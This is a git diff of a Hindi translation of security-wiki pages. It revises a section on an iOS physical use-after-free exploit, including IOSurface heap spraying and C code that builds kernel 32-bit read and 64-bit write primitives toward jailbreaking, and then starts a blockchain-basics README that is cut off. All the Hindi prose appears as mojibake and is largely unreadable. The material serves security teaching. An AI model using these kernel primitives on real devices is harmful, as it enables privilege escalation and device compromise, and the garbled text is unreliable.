рдореЗрдВ hardware mitigations (рдЬреИрд╕реЗ PPL рдпрд╛ SPTM) рдЖрддреЗ рд╣реИрдВ рдЬреЛ physical UAF techniques рдХреЛ рдмрд╣реБрдд рдХрдо рдкреНрд░рднрд╛рд╡реА рдмрдирд╛рддреЗ рд╣реИрдВред +> PPL code signing, entitlements, рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ kernel data рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд pages рдкрд░ strict MMU protections рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдХреЛрдИ page reuse рднреА рд╣реЛрддрд╛ рд╣реИ, рддреЛ userland рдпрд╛ compromised kernel code рд╕реЗ PPL-protected pages рдкрд░ writes рд░реЛрдХреА рдЬрд╛рддреА рд╣реИрдВред +> Secure Page Table Monitor (SPTM) PPL рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реИ рдФрд░ page table updates рдХреЛ рдХрдбрд╝рд╛ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ privileged kernel code рднреА freed pages рдХреЛ silently remap рдпрд╛ mappings рдХреЛ tamper рдирд╣реАрдВ рдХрд░ рд╕рдХреЗ рдмрд┐рдирд╛ secure checks рдХреЗред +> KTRR (Kernel Text Read-Only Region) kernel рдХреЗ code section рдХреЛ boot рдХреЗ рдмрд╛рдж read-only рдореЗрдВ рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ runtime рдкрд░ kernel code рдХреЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ modification рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ, рдЬреЛ physical UAF exploits рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `IOSurface` allocations рдЕрдм рдХрдо predictable рд╣реИрдВ рдФрд░ user-accessible regions рдореЗрдВ map рдХрд░рдирд╛ рдХрдард┐рди рд╣реЛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ тАЬmagic value scanningтАЭ рдЯреНрд░рд┐рдХ рдХрдо рднрд░реЛрд╕реЗрдордВрдж рд╣реЛ рдЧрдИ рд╣реИред рдФрд░ `IOSurface` рдЕрдм entitlements рдФрд░ sandbox restrictions рджреНрд╡рд╛рд░рд╛ рднреА guarded рд╣реИред ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: attacker рдХрдИ IOSurface objects create рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ identifier ("magic value") рд╣реЛрддрд╛ рд╣реИред -2. **Scan Freed Pages**: рд╡реЗ рдпрд╣ рдЬрд╛рдБрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрди objects рдореЗрдВ рд╕реЗ рдХреЛрдИ freed page рдкрд░ allocate рд╣реБрдЖ рд╣реИред -3. **Read/Write Kernel Memory**: IOSurface object рдХреЗ fields рдХреЛ manipulate рдХрд░рдХреЗ, рд╡реЗ kernel memory рдореЗрдВ **arbitrary reads рдФрд░ writes** рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рд╡реЗ рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ: -* рдПрдХ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ kernel memory рдореЗрдВ рдХрд┐рд╕реА рднреА 32-bit value рдХреЛ **read** рдХрд░рдирд╛ред -* рджреВрд╕рд░реЗ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 64-bit values **write** рдХрд░рдирд╛, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕реНрдерд┐рд░ **kernel read/write primitive** рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред +1. **Spray IOSurface Objects**: Attacker рдХрдИ IOSurface objects рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдПрдХ special identifier ("magic value") рд╣реЛрддрд╛ рд╣реИред +2. **Scan Freed Pages**: рд╡реЗ рдпрд╣ рдЬрд╛рдВрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ object рдХрд┐рд╕реА freed page рдкрд░ allocate рд╣реБрдЖ рд╣реИред +3. **Read/Write Kernel Memory**: IOSurface object рдХреЗ fields рдХреЛ manipulate рдХрд░рдХреЗ рд╡реЗ **arbitrary reads рдФрд░ writes** рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рд╡реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +* рдПрдХ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ kernel memory рдореЗрдВ рдХрд┐рд╕реА рднреА 32-bit value рдХреЛ **read** рдХрд░реЗрдВред +* рджреВрд╕рд░реЗ field рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 64-bit values **write** рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХ stable **kernel read/write primitive** рдорд┐рд▓рддреА рд╣реИред Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: ```c @@ -128,7 +127,7 @@ io_connect_t id = result.surface_id; } } ``` -рдПрдХ рдореБрдХреНрдд рднреМрддрд┐рдХ рдкреГрд╖реНрда рдореЗрдВ **`IOSurface`** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдЦреЛрдЬреЗрдВ: +рдПрдХ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рднреМрддрд┐рдХ рдкреГрд╖реНрда рдореЗрдВ **`IOSurface`** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдЦреЛрдЬреЗрдВ: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -164,23 +163,21 @@ return 0; ``` ### IOSurface рдХреЗ рд╕рд╛рде Kernel Read/Write рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ -kernel memory рдореЗрдВ рдПрдХ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ (mapped to a freed physical page accessible from userspace) рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЗрд╕реЗ **arbitrary kernel read and write operations** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрдм kernel memory рдореЗрдВ рдХрд┐рд╕реА IOSurface object рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд▓рд┐рдпрд╛ рдЬрд╛рдП (mapped to a freed physical page рдЬреЛ userspace рд╕реЗ accessible рд╣реИ), рддреЛ рд╣рдо рдЗрд╕реЗ **arbitrary kernel read and write operations** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -**IOSurface рдХреЗ рдкреНрд░рдореБрдЦ рдлреАрд▓реНрдб** +**IOSurface рдореЗрдВ рдкреНрд░рдореБрдЦ рдлрд╝реАрд▓реНрдб** -IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рджреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлреАрд▓реНрдб рд╣реИрдВ: +1. **Use Count Pointer**: рдпрд╣ **32-bit read** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +2. **Indexed Timestamp Pointer**: рдпрд╣ **64-bit write** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -1. **Use Count Pointer**: рдПрдХ **32-bit read** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -2. **Indexed Timestamp Pointer**: рдПрдХ **64-bit write** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - -рдЗрди pointers рдХреЛ overwrite рдХрд░рдХреЗ, рд╣рдо рдЙрдиреНрд╣реЗрдВ kernel memory рдореЗрдВ arbitrary addresses рдХреА рдУрд░ redirect рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ read/write рдХреНрд╖рдорддрд╛рдПрдБ рд╕рдХреНрд╖рдо рд╣реЛрддреА рд╣реИрдВред +рдЗрди pointers рдХреЛ overwrite рдХрд░рдХреЗ, рд╣рдо рдЗрдиреНрд╣реЗрдВ kernel memory рдореЗрдВ arbitrary addresses рдкрд░ redirect рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ read/write рдХреНрд╖рдорддрд╛ рд╕рдХреНрд╖рдо рд╣реЛрддреА рд╣реИред #### 32-Bit Kernel Read -рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП: +Read рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: -1. **use count pointer** рдХреЛ overwrite рдХрд░рдХреЗ рдЗрд╕реЗ target address рд╕реЗ 0x14-рдмрд╛рдЗрдЯ рдХрдо offset рдкрд░ point рдХрд░реЗрдВред -2. `get_use_count` рдореЗрдердб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ address рдкрд░ рдореМрдЬреВрдж value рдкрдврд╝реЗрдВред +1. **use count pointer** рдХреЛ target address рд╕реЗ 0x14-byte offset рдШрдЯрд╛рдХрд░ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ point рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП overwrite рдХрд░реЗрдВред +2. рдЙрд╕ address рдкрд░ рдореМрдЬреВрдж value рдХреЛ read рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `get_use_count` method рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; @@ -198,11 +195,11 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### 64-рдмрд┐рдЯ Kernel рд▓рд┐рдЦрдирд╛ +#### 64-рдмрд┐рдЯ рдХрд░реНрдиреЗрд▓ рд▓рд┐рдЦрдирд╛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП: -1. **indexed timestamp pointer** рдХреЛ рд▓рдХреНрд╖реНрдп рдкрддреЗ рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред +1. рд▓рдХреНрд╖рд┐рдд рдкрддрд╛ рдкрд░ **indexed timestamp pointer** рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред 2. `set_indexed_timestamp` method рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 64-bit рдорд╛рди рд▓рд┐рдЦреЗрдВред ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -217,13 +214,13 @@ set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` -#### Exploit Flow Recap +#### рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдлреНрд▓реЛ рд╕рд╛рд░рд╛рдВрд╢ -1. **Trigger Physical Use-After-Free**: рдлреНрд░реА рдкреЗрдЬ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВред -2. **Spray IOSurface Objects**: kernel memory рдореЗрдВ unique "magic value" рдХреЗ рд╕рд╛рде рдХрдИ IOSurface objects рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -3. **Identify Accessible IOSurface**: рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реЗ freed рдкреЗрдЬ рдкрд░ рдПрдХ IOSurface рдвреВрдБрдвреЗрдВред -4. **Abuse Use-After-Free**: IOSurface object рдореЗрдВ pointers рдмрджрд▓рдХрд░ IOSurface methods рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ arbitrary **kernel read/write** рд╕рдХреНрд╖рдо рдХрд░реЗрдВред +1. **Trigger Physical Use-After-Free**: рдлреНрд░реА рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВред +2. **Spray IOSurface Objects**: kernel memory рдореЗрдВ рдПрдХ рдЕрдиреВрдареЗ "magic value" рдХреЗ рд╕рд╛рде рдХрдИ IOSurface objects allocate рдХрд░реЗрдВред +3. **Identify Accessible IOSurface**: рдЙрд╕ freed page рдкрд░ рдореМрдЬреВрдж IOSurface рдЦреЛрдЬреЗрдВ рдЬрд┐рд╕ рдкрд░ рдЖрдк control рд░рдЦрддреЗ рд╣реИрдВред +4. **Abuse Use-After-Free**: IOSurface object рдХреЗ pointers рдХреЛ modify рдХрд░реЗрдВ рддрд╛рдХрд┐ IOSurface methods рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ arbitrary **kernel read/write** рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХреЗред -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +рдЗрди primitives рдХреЗ рд╕рд╛рде, рдпрд╣ exploit рдирд┐рдпрдВрддреНрд░рд┐рдд **32-bit reads** рдФрд░ **64-bit writes** kernel memory рдХреЛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЖрдЧреЗ рдХреЗ jailbreak рдЪрд░рдгреЛрдВ рдореЗрдВ рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ read/write primitives рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд protections (рдЙрджрд╛., PPL on newer arm64e devices) рдХреЛ bypass рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдкрдбрд╝ рд╕рдХрддреА рд╣реИред {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index f5f215002..a38f74e31 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,176 +1,178 @@ +# рдмреНрд▓реЙрдХрдЪреЗрди рдФрд░ рдХреНрд░рд┐рдкреНрдЯреЛ-рдХрд░реЗрдВрд╕реА + {{#include ../../banners/hacktricks-training.md}} -## рдореВрд▓ рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ +## рдмреБрдирд┐рдпрд╛рджреА рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ -- **рд╕реНрдорд╛рд░реНрдЯ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯреНрд╕** рдХреЛ рдЙрди рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВ, рдордзреНрдпрд╕реНрдереЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╕рдордЭреМрддреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред -- **рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ (dApps)** рд╕реНрдорд╛рд░реНрдЯ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯреНрд╕ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрдХреВрд▓ рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдкрд╛рд░рджрд░реНрд╢реА, рдСрдбрд┐рдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдмреИрдХ-рдПрдВрдб рд╣реЛрддрд╛ рд╣реИред -- **рдЯреЛрдХрди рдФрд░ рд╕рд┐рдХреНрдХреЗ** рдореЗрдВ рдЕрдВрддрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рд╕рд┐рдХреНрдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рдкреИрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдЯреЛрдХрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдореВрд▓реНрдп рдпрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред -- **рдпреВрдЯрд┐рд▓рд┐рдЯреА рдЯреЛрдХрди** рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ **рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЯреЛрдХрди** рд╕рдВрдкрддреНрддрд┐ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВред -- **DeFi** рдХрд╛ рдЕрд░реНрде рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рд╡рд┐рддреНрдд рд╣реИ, рдЬреЛ рдХреЗрдВрджреНрд░реАрдп рдкреНрд░рд╛рдзрд┐рдХрд░рдгреЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╡рд┐рддреНрддреАрдп рд╕реЗрд╡рд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **DEX** рдФрд░ **DAOs** рдХреНрд░рдорд╢рдГ рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рдПрдХреНрд╕рдЪреЗрдВрдЬ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдФрд░ рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рд╕реНрд╡рд╛рдпрддреНрдд рд╕рдВрдЧрдардиреЛрдВ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреЗ рд╣реИрдВред +- **Smart Contracts** рдРрд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреЗ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ, рдФрд░ рдордзреНрдпрд╕реНрдереЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╕рдордЭреМрддреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +- **Decentralized Applications (dApps)** Smart Contracts рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдкрд╛рд░рджрд░реНрд╢реА, рдСрдбрд┐рдЯреЗрдмрд▓ рдмреИрдХ-рдПрдВрдб рд╣реЛрддрд╛ рд╣реИред +- **Tokens & Coins** рдХрд╛ рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ coins рдбрд┐рдЬрд┐рдЯрд▓ рдкреИрд╕рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ tokens рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдореВрд▓реНрдп рдпрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред +- **Utility Tokens** рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ **Security Tokens** рд╕рдВрдкрддреНрддрд┐ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВред +- **DeFi** рдХрд╛ рдЕрд░реНрде Decentralized Finance рд╣реИ, рдЬреЛ рдХреЗрдВрджреНрд░реАрдп рдкреНрд░рд╛рдзрд┐рдХрд░рдгреЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╡рд┐рддреНрддреАрдп рд╕реЗрд╡рд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- **DEX** рдФрд░ **DAOs** рдХреНрд░рдорд╢рдГ Decentralized Exchange Platforms рдФрд░ Decentralized Autonomous Organizations рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреЗ рд╣реИрдВред ## рд╕рд╣рдорддрд┐ рддрдВрддреНрд░ -рд╕рд╣рдорддрд┐ рддрдВрддреНрд░ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рд╕рд╣рдорддрд┐ рд╕реЗ рд▓реЗрдирджреЗрди рдХреА рдорд╛рдиреНрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ: +рд╕рд╣рдорддрд┐ рддрдВрддреНрд░ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рд▓реЗрди-рджреЗрди рдХреЗ рд╕рддреНрдпрд╛рдкрди рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рд╕рд╣рдорддрд┐ рдЖрдзрд╛рд░рд┐рдд рдмрдирд╛рддреЗ рд╣реИрдВ: -- **рдкреНрд░реВрдл рдСрдл рд╡рд░реНрдХ (PoW)** рд▓реЗрдирджреЗрди рдХреА рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдХрдВрдкреНрдпреВрдЯреЗрд╢рдирд▓ рд╢рдХреНрддрд┐ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред -- **рдкреНрд░реВрдл рдСрдл рд╕реНрдЯреЗрдХ (PoS)** рд╕рддреНрдпрд╛рдкрдирдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдорд╛рддреНрд░рд╛ рдореЗрдВ рдЯреЛрдХрди рд░рдЦрдиреЗ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ PoW рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдКрд░реНрдЬрд╛ рдХреА рдЦрдкрдд рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИред +- **Proof of Work (PoW)** рд▓реЗрди-рджреЗрди рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдХрдореНрдкреНрдпреВрдЯреЗрд╢рдирд▓ рдкрд╛рд╡рд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред +- **Proof of Stake (PoS)** validators рд╕реЗ рдХреБрдЫ рдорд╛рддреНрд░рд╛ рдореЗрдВ tokens рд░рдЦрдиреЗ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ PoW рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдКрд░реНрдЬрд╛ рдЦрдкрдд рдХрдо рдХрд░рддрд╛ рд╣реИред -## рдмрд┐рдЯрдХреЙрдЗрди рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ +## Bitcoin рдореВрд▓ рдмрд╛рддреЗрдВ -### рд▓реЗрдирджреЗрди +### рд▓реЗрди-рджреЗрди -рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди рдореЗрдВ рдкрддреЗ рдХреЗ рдмреАрдЪ рдзрди рдХрд╛ рд╣рд╕реНрддрд╛рдВрддрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рд▓реЗрдирджреЗрди рдХреЛ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЗрд╡рд▓ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реА рд╣рд╕реНрддрд╛рдВрддрд░рдг рд╢реБрд░реВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Bitcoin рд▓реЗрди-рджреЗрди рдкрддреЛрдВ рдХреЗ рдмреАрдЪ рдзрди рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рд▓реЗрди-рджреЗрди рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реА рдЯреНрд░рд╛рдВрд╕рдлрд░ рдЖрд░рдВрдн рдХрд░ рд╕рдХрддрд╛ рд╣реИред -#### рдкреНрд░рдореБрдЦ рдШрдЯрдХ: +#### рдореБрдЦреНрдп рдШрдЯрдХ: -- **рдорд▓реНрдЯреАрд╕рд┐рдЧреНрдиреЗрдЪрд░ рд▓реЗрдирджреЗрди** рдХреЛ рдПрдХ рд▓реЗрдирджреЗрди рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- рд▓реЗрдирджреЗрди рдореЗрдВ **рдЗрдирдкреБрдЯ** (рдзрди рдХрд╛ рд╕реНрд░реЛрдд), **рдЖрдЙрдЯрдкреБрдЯ** (рдЧрдВрддрд╡реНрдп), **рд╢реБрд▓реНрдХ** (рдЦрдирдирдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреБрдЧрддрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛), рдФрд░ **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** (рд▓реЗрдирджреЗрди рдХреЗ рдирд┐рдпрдо) рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред +- **Multisignature Transactions** рдореЗрдВ рдПрдХ рд▓реЗрди-рджреЗрди рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- рд▓реЗрди-рджреЗрди рдореЗрдВ **inputs** (рдзрди 